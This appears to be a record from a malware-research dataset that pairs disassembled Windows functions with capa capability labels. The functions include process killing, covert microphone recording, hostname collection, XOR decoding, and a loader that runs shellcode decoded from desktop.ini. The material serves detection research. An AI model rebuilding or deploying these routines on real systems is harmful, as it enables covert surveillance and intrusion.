joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, eax
mov eax, dword [ebp + 8]
push edi
push eax
mov eax, esi
call fcn.00404f80
mov ebx, eax
add esp, 4
test ebx, ebx
jle 0x40507f
mov ecx, dword [ebp + 0xc]
push 0x43c440
push ecx
call fcn.00421a79
mov edi, eax
add esp, 8
test edi, edi
je 0x40505d
push 2
push 0
push edi
call fcn.004222b6
add esp, 0xc
push edi
call fcn.004221c7
add esp, 4
push edi
mov dword [ebp - 0x10], eax
call fcn.0042239f
mov eax, dword [ebp - 0x10]
add esp, 4
jmp 0x40505f
xor eax, eax
cmp ebx, eax
je 0x4051ac
mov ecx, dword [ebp + 8]
push 0
push esi
mov eax, esi
call fcn.004051c0
add esp, 8
test al, al
je 0x4051ac
mov edx, dword [ebp + 0xc]
push edx
lea ebx, [ebp - 4]
mov dword [ebp - 4], 0
call fcn.00402300
add esp, 4
push esi
lea ebx, [ebp - 0xc]
mov edi, eax
mov dword [ebp - 0xc], 0
call fcn.00402300
mov ebx, eax
lea eax, [ebp - 8]
add esp, 4
push eax
mov eax, esi
mov dword [ebp - 8], 0
call fcn.00404df0
mov ecx, dword [ebp + 0x10]
add esp, 4
push 0x43c444
push ecx
mov dword [ebp - 0x10], eax
call fcn.00421a79
mov esi, eax
add esp, 8
test esi, esi
je 0x405182
test edi, edi
je 0x4050f9
mov edx, dword [ebp - 4]
push esi
push edx
push 1
push edi
call fcn.00421fb9
push edi
call fcn.00420f1b
add esp, 0x14
push esi
call fcn.0042239f
mov esi, dword [ebp - 0x10]
add esp, 4
test esi, esi
je 0x40511f
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp + 0x10]
push esi
call fcn.00404ea0
push esi
call fcn.00420f1b
add esp, 0xc
mov ecx, dword [ebp + 0x10]
push 0x43c68c
push ecx
call fcn.00421a79
mov esi, eax
add esp, 8
test esi, esi
je 0x405179
mov edi, dword [ebp + 8]
mov eax, edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405140
push esi
sub eax, edx
push eax
push 1
push edi
call fcn.00421fb9
add esp, 0x10
test ebx, ebx
je 0x405170
mov edx, dword [ebp - 0xc]
push esi
push edx
push 1
push ebx
call fcn.00421fb9
push ebx
call fcn.00420f1b
add esp, 0x14
push esi
call fcn.0042239f
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x40518f
push edi
call fcn.00420f1b
add esp, 4
test ebx, ebx
je 0x40519c
push ebx
call fcn.00420f1b
add esp, 4
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4051ac
push eax
call fcn.00420f1b
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4051c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push eax
lea ebx, [ebp - 4]
mov esi, ecx
mov dword [ebp - 4], 0
call fcn.00402300
mov ecx, dword [ebp - 4]
add esp, 4
mov edi, eax
push 1
push edi
mov ebx, esi
call fcn.00405420
mov ebx, eax
add esp, 8
test ebx, ebx
jns 0x405212
mov eax, esi
lea edx, [eax + 1]
jmp 0x405200
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405200
mov ecx, dword [ebp - 4]
sub eax, edx
sub ecx, eax
cmp ebx, ecx
jge 0x405284
mov edx, dword [ebp + 8]
push 0x43c444
push edx
call fcn.00421a79
mov edx, eax
add esp, 8
mov dword [ebp - 8], edx
test edx, edx
je 0x405284
cmp byte [ebp + 0xc], 0
jne 0x405248
mov eax, esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405237
sub eax, esi
lea esi, [eax + ebx]
mov ebx, dword [ebp - 4]
jmp 0x40524a
xor esi, esi
cmp esi, ebx
jge 0x405269
mov edi, edi
push edx
push 1
lea eax, [esi + edi]
push 1
push eax
call fcn.00421fb9
mov edx, dword [ebp - 8]
inc esi
add esp, 0x10
cmp esi, ebx
jl 0x405250
push edx
call fcn.0042239f
add esp, 4
push edi
call fcn.00420f1b
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call fcn.00420f1b
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4055f0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
lea eax, [ebp - 0x134]
push eax
push ebx
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x405701
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x405630
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405640
sub eax, edx
inc eax
push eax
call fcn.0041fc44
mov esi, eax
lea eax, [ebp - 0x110]
mov edx, esi
mov ecx, eax
add esp, 4
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x405661
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405670
sub eax, edx
mov edx, eax
xor ecx, ecx
test edx, edx
jle 0x405696
mov al, byte [ecx + esi]
cmp al, 0x41
jl 0x405691
cmp al, 0x5a
jg 0x405691
add al, 0x20
mov byte [ecx + esi], al
inc ecx
cmp ecx, edx
jl 0x405681
mov ecx, dword [ebp + 8]
mov eax, esi
jmp 0x4056a0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4056c0
test dl, dl
je 0x4056bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4056c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4056a0
xor eax, eax
jmp 0x4056c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4056e2
mov edx, dword [ebp - 0x12c]
push edx
push eax
push 1
call edi
test eax, eax
je 0x4056e2
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.00420f1b
add esp, 4
lea eax, [ebp - 0x134]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x405630
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.00420799
mov esp, ebp
pop ebp
ret
Function at 0x405720
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push 0x184
push 0
push esi
xor bl, bl
call fcn.00428f80
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareClasses.exe_shellopencommand
push connect
mov dword [ebp - 8], 0x184
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x405784
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40577a
mov bl, 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406090
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x443b45], 0
jne 0x4060c8
push 0x100
call fcn.0041fc44
add esp, 4
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [0x443b18], eax
mov dword [ebp - 4], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [0x443b45], 1
mov eax, dword [0x443b18]
mov esp, ebp
pop ebp
ret

Function at 0x4060e0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x43c440
push eax
call fcn.00421a79
mov esi, eax
add esp, 8
test esi, esi
je 0x4061c1
push ebx
push edi
push 2
push 0
push esi
call fcn.004222b6
push esi
call fcn.004221c7
mov edi, eax
push edi
call fcn.0041fc44
push 0
push 0
push esi
mov dword [ebp - 4], eax
call fcn.004222b6
add esp, 0x20
xor ebx, ebx
test edi, edi
jle 0x406156
lea ecx, [ecx]
push esi
call fcn.004211a7
add esp, 4
test eax, eax
jne 0x406156
mov ecx, dword [ebp - 4]
push esi
push 1
lea edx, [ebx + ecx]
push 1
push edx
call fcn.00421dd0
inc ebx
add esp, 0x10
cmp ebx, edi
jl 0x406130
push esi
call fcn.0042239f
add esp, 4
xor eax, eax
xor ecx, ecx
test edi, edi
jle 0x406182
cmp ecx, dword [ebp + 0x10]
jl 0x40616e
xor ecx, ecx
mov edx, dword [ebp + 0xc]
mov dl, byte [ecx + edx]
mov esi, dword [ebp - 4]
neg dl
xor byte [eax + esi], dl
inc eax
inc ecx
cmp eax, edi
jl 0x406167
mov eax, dword [ebp + 8]
push 0x43c444
push eax
call fcn.00421a79
mov esi, eax
add esp, 8
test esi, esi
je 0x4061b8
mov ecx, dword [ebp - 4]
push esi
push edi
push 1
push ecx
call fcn.00421fb9
push esi
call fcn.0042239f
add esp, 0x14
pop edi
pop ebx
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4061d0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x443b44], 0
push ebx
push esi
push edi
jne 0x4061ec
call fcn.00401040
mov byte [0x443b44], 1
mov eax, dword [0x443b7c]
mov eax, dword [eax + 0x94]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406200
mov ebx, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub eax, edx
mov esi, eax
cmp byte [0x443b45], cl
jne 0x406240
push 0x100
call fcn.0041fc44
add esp, 4
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [0x443b18], eax
mov dword [ebp - 4], 0x100
call ebx
mov byte [0x443b45], 1
mov eax, dword [0x443b18]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406248
sub eax, edx
lea edx, [eax + esi + 0x20]
push edx
call fcn.0041fc44
add esp, 4
cmp byte [0x443b45], 0
mov edi, eax
jne 0x406290
push 0x100
call fcn.0041fc44
add esp, 4
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [0x443b18], eax
mov dword [ebp - 4], 0x100
call ebx
mov byte [0x443b45], 1
cmp byte [0x443b44], 0
mov esi, dword [0x443b18]
jne 0x4062ab
call fcn.00401040
mov byte [0x443b44], 1
mov edx, dword [0x443b7c]
mov eax, dword [edx + 0x94]
push esi
push eax
push str._s_getslistcomp_s
push edi
call fcn.00420e97
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
lea ecx, [ecx]
cmp byte [0x443b44], 0
jne 0x4062e5
call fcn.00401040
mov byte [0x443b44], 1
mov ecx, dword [0x443b7c]
mov ecx, dword [ecx + 0xc]
mov edx, edi
call fcn.004045d0
mov esi, eax
test esi, esi
jne 0x406304
push 0x7530
call ebx
jmp 0x4062d0
push edi
call fcn.00420f1b
mov eax, esi
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406312
sub eax, edx
je 0x4063bf
mov bl, byte [0x443b44]
test bl, bl
jne 0x406338
call fcn.00401040
mov bl, 1
mov byte [0x443b44], bl
mov edx, dword [0x443b7c]
mov eax, dword [edx + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406344
sub eax, edx
mov dword [ebp - 4], eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406355
sub eax, edx
mov edi, eax
test bl, bl
jne 0x406370
call fcn.00401040
mov byte [0x443b44], 1
mov eax, dword [0x443b7c]
mov edx, dword [eax + 8]
xor eax, eax
xor ecx, ecx
test edi, edi
jle 0x406395
cmp ecx, dword [ebp - 4]
jl 0x406387
xor ecx, ecx
mov bl, byte [ecx + edx]
neg bl
xor byte [eax + esi], bl
inc eax
inc ecx
cmp eax, edi
jl 0x406380
mov eax, dword [0x443b48]
test eax, eax
jne 0x4063b0
push 0x100
call fcn.0041fc44
add esp, 4
mov dword [0x443b48], eax
push eax
push 0x43c850
push esi
call fcn.004225f2
add esp, 0xc
push esi
call fcn.00420f1b
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407420
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
push str.PROGRAMFILES
call fcn.00420fe0
mov esi, eax
push str.SYSTEMDRIVE
mov dword [ebp - 4], esi
call fcn.00420fe0
mov edi, eax
mov eax, esi
add esp, 8
mov dword [ebp - 8], edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407450
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407460
sub eax, esi
lea eax, [eax + edx + 0x80]
push ebx
push eax
call fcn.0041fc44
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 4
mov esi, eax
mov edi, 0x442b74
mov ecx, dword [edi]
mov edx, dword [ebp - 4]
push ecx
push edx
push 0x43c3ac
push esi
call fcn.00420e97
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x4074b0
add edi, 4
cmp edi, 0x442ba8
jl 0x407487
jmp 0x4074b7
mov byte [0x443b47], 1
mov edi, 0x442c40
lea esp, [esp]
mov eax, dword [edi]
mov ecx, dword [ebp - 8]
push eax
push ecx
push 0x43c3ac
push esi
call fcn.00420e97
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x4074f7
add edi, 4
cmp edi, 0x442c4c
jl 0x4074c0
pop ebx
push esi
call fcn.00420f1b
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.00420f1b
add esp, 4
push 0
call fcn.00422d65
int3
Function at 0x407e70
Capabilities:
Check if file exists
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00401630
mov edi, eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x407eb3
push edi
call fcn.00422dcd
add esp, 4
push edi
call fcn.00402160
add esp, 4
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407eb8
sub eax, edx
add eax, 8
push eax
call fcn.0041fc44
add esp, 4
push edi
mov esi, eax
push str._s
push esi
mov dword [ebp - 0x138], esi
call fcn.00420e97
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push esi
call fcn.00422722
add esp, 8
mov dword [ebp - 0x134], eax
test eax, eax
je 0x407fe3
cmp eax, 0xffffffff
je 0x407fe3
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407f16
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x10c]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407f30
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041fc44
add esp, 4
lea edx, [ebp - 0x10c]
push edx
push edi
mov esi, eax
push 0x43c3ac
push esi
call fcn.00420e97
lea eax, [ebp - 0x10c]
push str..dll
push eax
call fcn.00422620
add esp, 0x18
test eax, eax
je 0x407f7c
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x407fa7
lea ecx, [ebp - 0x10c]
push str..exe
push ecx
call fcn.00422620
add esp, 8
test eax, eax
je 0x407fa7
push 5
push 0
push 0x43c5b0
push esi
push str.open
push 0
call ebx
push esi
call fcn.00420f1b
mov eax, dword [ebp - 0x134]
add esp, 4
lea edx, [ebp - 0x130]
push edx
push eax
call fcn.00422849
add esp, 8
test eax, eax
je 0x407f11
mov ecx, dword [ebp - 0x134]
push ecx
call fcn.00422977
mov esi, dword [ebp - 0x138]
add esp, 4
push esi
call fcn.00420f1b
add esp, 4
push edi
call fcn.00420f1b
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420799
mov esp, ebp
pop ebp
ret
Function at 0x4099f0
Capabilities:
Capture microphone audio

Disassembly:
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4099f5
push esi
sub eax, edx
add eax, 0x20
push edi
push eax
call fcn.0041fc44
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
add esp, 4
push 0
push 0
push 0
push str.open_new_type_waveaudio_alias_mic_buffer_6
mov edi, eax
call esi
push 0
push 0
push 0
push str.record_mic
call esi
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push str.stop_mic
call esi
push ebx
push str.save_mic__s
push edi
call fcn.00420e97
add esp, 0xc
push 0
push 0
push 0
push edi
call esi
push 0
push 0
push 0
push str.close_mic
call esi
push edi
call fcn.00420f1b
add esp, 4
pop edi
pop esi
ret
Function at 0x40a340
Capabilities:
Check if file exists
Check internet connectivity via wininet
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a543
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a363
sub eax, edx
push eax
call fcn.0041fc44
mov esi, eax
mov eax, ebx
add esp, 4
mov dword [esp + 0x14], esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40a380
sub eax, ecx
push eax
call fcn.0041fc44
add esp, 4
push eax
push esi
push 0
push 0
push ebx
mov dword [esp + 0x2c], eax
call fcn.00423103
add esp, 0x14
call fcn.004018f0
cmp byte [0x443b44], 0
mov dword [esp + 0x1c], eax
jne 0x40a3c3
call fcn.00401040
mov byte [0x443b44], 1
mov eax, dword [0x443b7c]
mov eax, dword [eax + 0x94]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a3d1
sub eax, edx
mov edi, eax
cmp byte [0x443b45], cl
jne 0x40a411
push 0x100
call fcn.0041fc44
add esp, 4
lea ecx, [esp + 0x10]
push ecx
push eax
mov dword [0x443b18], eax
mov dword [esp + 0x18], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [0x443b45], 1
mov eax, dword [0x443b18]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a420
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a430
sub eax, esi
add eax, edx
lea edx, [eax + edi + 0x80]
push edx
call fcn.0041fc44
add esp, 4
cmp byte [0x443b45], 0
mov esi, eax
jne 0x40a483
push 0x100
call fcn.0041fc44
add esp, 4
lea ecx, [esp + 0x10]
push ecx
push eax
mov dword [0x443b18], eax
mov dword [esp + 0x18], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [0x443b45], 1
cmp byte [0x443b44], 0
mov edi, dword [0x443b18]
jne 0x40a49e
call fcn.00401040
mov byte [0x443b44], 1
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
mov ecx, dword [0x443b7c]
push edx
mov edx, dword [ecx + 0x94]
push eax
push edi
push edx
push str._s_comp_sext_s._s
push esi
call fcn.00420e97
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
lea ebx, [ebx]
push 0
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x40a4ff
mov edx, dword [esp + 0x1c]
push ebx
push esi
lea ecx, [esp + 0x18]
call fcn.00404990
add esp, 8
test eax, eax
jne 0x40a513
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a513
push 0x7530
call edi
jmp 0x40a4d0
mov ecx, dword [esp + 0x14]
push ecx
call fcn.00420f1b
mov edx, dword [esp + 0x1c]
add esp, 4
push edx
call fcn.00420f1b
mov eax, dword [esp + 0x20]
add esp, 4
push eax
call fcn.00420f1b
add esp, 4
push esi
call fcn.00420f1b
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420799
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x440480]
jne 0x4207a3
repz ret
jmp fcn.00425328

Function at 0x432991
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004268db
and dword [ebp - 0x14], 0
cmp dword [0x443a44], 0
mov dword [ebp - 0x18], eax
jne 0x432a44
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x432aec
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x432aec
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x443a44], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x443a48], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x443a4c], eax
call edi
push eax
call esi
mov dword [0x443a54], eax
test eax, eax
je 0x432a44
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x443a50], eax
mov eax, dword [0x443a50]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x432a9d
cmp dword [0x443a54], ecx
je 0x432a9d
push eax
call esi
push dword [0x443a54]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x432a9d
test ebx, ebx
je 0x432a9d
call edi
test eax, eax
je 0x432a94
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x432a94
test byte [ebp - 8], 1
jne 0x432a9d
or dword [ebp + 0x10], 0x200000
jmp 0x432ad0
mov eax, dword [0x443a48]
cmp eax, dword [ebp - 0x18]
je 0x432ad0
push eax
call esi
test eax, eax
je 0x432ad0
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x432ad0
mov eax, dword [0x443a4c]
cmp eax, dword [ebp - 0x18]
je 0x432ad0
push eax
call esi
test eax, eax
je 0x432ad0
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x443a44]
call esi
test eax, eax
je 0x432aec
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x432aee
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420799
leave
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401950
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
mov esi, dword [edi + 0xbc]
mov eax, dword [ecx + 0x14]
add esi, edi
mov edx, dword [edi + 0x1c]
mov dword [ebp - 0xc], edx
mov dword [esi + 8], eax
mov eax, dword [ecx + 0x18]
mov ecx, 1
mov dword [esi + 0xc], eax
mov eax, 0x100
mov dword [esi + 0x10], 1
test word [edi + 0x94], ax
jne 0x40199a
mov dword [esi + 0x10], 0
xor ecx, ecx
mov dword [esi + 0x14], 0
mov eax, dword [edi + 0x78]
mov dword [ebp - 8], eax
lea eax, [edx + 0x3a]
test byte [ebp - 8], 4
je 0x4019b5
test byte [eax], 1
je 0x4019ec
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
and eax, 0xfffffffb
mov dword [edi + 0x78], eax
mov ecx, dword [esi + 0x10]
mov eax, dword [ebp - 4]
or ecx, 0x200
mov edx, eax
mov dword [esi + 0x10], ecx
test byte [edx], 2
mov edx, dword [ebp - 0xc]
je 0x4019ec
mov eax, dword [edx + 0x46]
or ecx, 0x400
mov dword [esi + 0x14], eax
mov eax, dword [ebp - 4]
mov dword [esi + 0x10], ecx
test dword [edi + 0x78], 0x400
je 0x4019fe
or ecx, 0x4000
mov dword [esi + 0x10], ecx
test byte [eax], 4
je 0x401a0c
or ecx, 0x100
mov dword [esi + 0x10], ecx
mov eax, dword [ebp + 8]
test byte [eax + 6], 2
je 0x401a39
or ecx, 0x80
mov eax, 1
mov dword [esi + 0x10], ecx
mov word [esi + 0x20], ax
cmp word [edi + 0x18], 3
jne 0x401a3e
mov eax, 0x2000
or word [edi + 0x7c], ax
jmp 0x401a3e
or word [esi + 0x20], 0x20
mov ecx, dword [edx + 0x3c]
mov dword [esi + 0x18], ecx
mov eax, dword [edx + 0x40]
mov dword [esi + 0x1c], eax
cmp cx, 0xd
jne 0x401aa3
mov ecx, dword [0x4b60e4]
movsx edx, word [edx]
cmp edx, dword [ecx + 0x194]
jge 0x401a96
mov eax, dword [ecx + 0x198]
movzx eax, word [eax + edx*2]
mov dword [ecx + 0x1a0], eax
mov eax, dword [0x4b60e4]
imul edx, dword [eax + 0x1a0], 0x2c
add edx, dword [eax + 0x400]
je 0x401a96
mov ecx, dword [edx + 0x24]
test ecx, ecx
je 0x401a96
mov edx, dword [edx + 0xc]
call fcn.00439e20
jmp 0x401a98
xor eax, eax
mov dword [esi + 0x1c], eax
test eax, eax
jne 0x401aa3
mov word [esi + 0x18], ax
cmp dword [edi + 0xcc], 0
jne 0x401aca
or word [esi + 0x20], 2
mov eax, 1
or dword [esi + 0x10], 8
mov ecx, dword [esi + 0x10]
movzx ecx, cx
pop edi
mov word [esi + 0x22], cx
pop esi
mov esp, ebp
pop ebp
ret
movzx eax, word [esi + 0x10]
mov word [esi + 0x22], ax
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret